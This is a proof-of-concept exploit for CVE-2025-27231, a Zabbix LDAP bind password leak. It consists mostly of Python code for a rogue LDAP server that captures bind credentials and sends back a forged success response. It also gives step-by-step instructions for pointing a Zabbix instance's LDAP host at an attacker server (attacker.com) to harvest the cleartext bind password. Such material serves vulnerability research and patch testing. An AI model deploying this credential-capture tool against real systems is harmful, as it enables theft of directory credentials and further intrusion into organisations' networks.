CVE-2025-27231 Zabbix LDAP绑定密码泄露漏洞

# CVE-2025-27231 PoC - Zabbix LDAP Bind Password Leakage # This PoC demonstrates how a rogue LDAP server can capture the bind password # Step 1: Set up a rogue LDAP server that logs all bind requests # Using a simple Python LDAP server to capture credentials import socket import struct import threading class RogueLDAPServer: """ A rogue LDAP server that captures bind credentials. Listens on a specified port and logs all incoming LDAP bind requests. """ def __init__(self, host='0.0.0.0', port=389): self.host = host self.port = port self.captured_credentials = [] def start(self): """Start the rogue LDAP server""" server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server_socket.bind((self.host, self.port)) server_socket.listen(5) print(f"[*] Rogue LDAP server listening on {self.host}:{self.port}") while True: client_socket, addr = server_socket.accept() print(f"[*] Connection from {addr}") data = client_socket.recv(4096) # Parse LDAP bind request to extract credentials if data: print(f"[+] Captured LDAP bind request (raw): {data.hex()}") # Simple LDAP Bind Request parsing # LDAP message structure: SEQUENCE { messageID, BindRequest } # BindRequest: [APPLICATION 0] { version, name, authentication } self.captured_credentials.append(data) # Send LDAP BindResponse (success) - simplified # BER-encoded success response response = bytes.fromhex( '302c020101' # SEQUENCE, messageID=1 '610a' # [APPLICATION 1] BindResponse '0a0100' # ENUMERATED resultCode=success(0) '0400' # matchedDN="" '0400' # diagnosticMessage="" ) client_socket.send(response) client_socket.close() # Step 2: Exploit workflow # 1. Attacker gains Super Admin access to Zabbix # 2. Attacker deploys RogueLDAPServer on attacker-controlled host # 3. Attacker logs into Zabbix admin panel # 4. Navigate to: Administration -> Authentication -> LDAP settings # 5. Change LDAP "Host" field to point to rogue server (e.g., ldap://attacker.com:389) # 6. Save the configuration # 7. Zabbix attempts to bind to the rogue LDAP server using stored bind password # 8. Rogue server captures the cleartext bind password if __name__ == "__main__": # Deploy rogue LDAP server rogue = RogueLDAPServer(host='0.0.0.0', port=389) server_thread = threading.Thread(target=rogue.start, daemon=True) server_thread.start() print("[*] Rogue LDAP server deployed. Waiting for Zabbix to connect...") print("[*] Attacker should now change LDAP Host in Zabbix to point here.") import time time.sleep(3600) # Run for 1 hour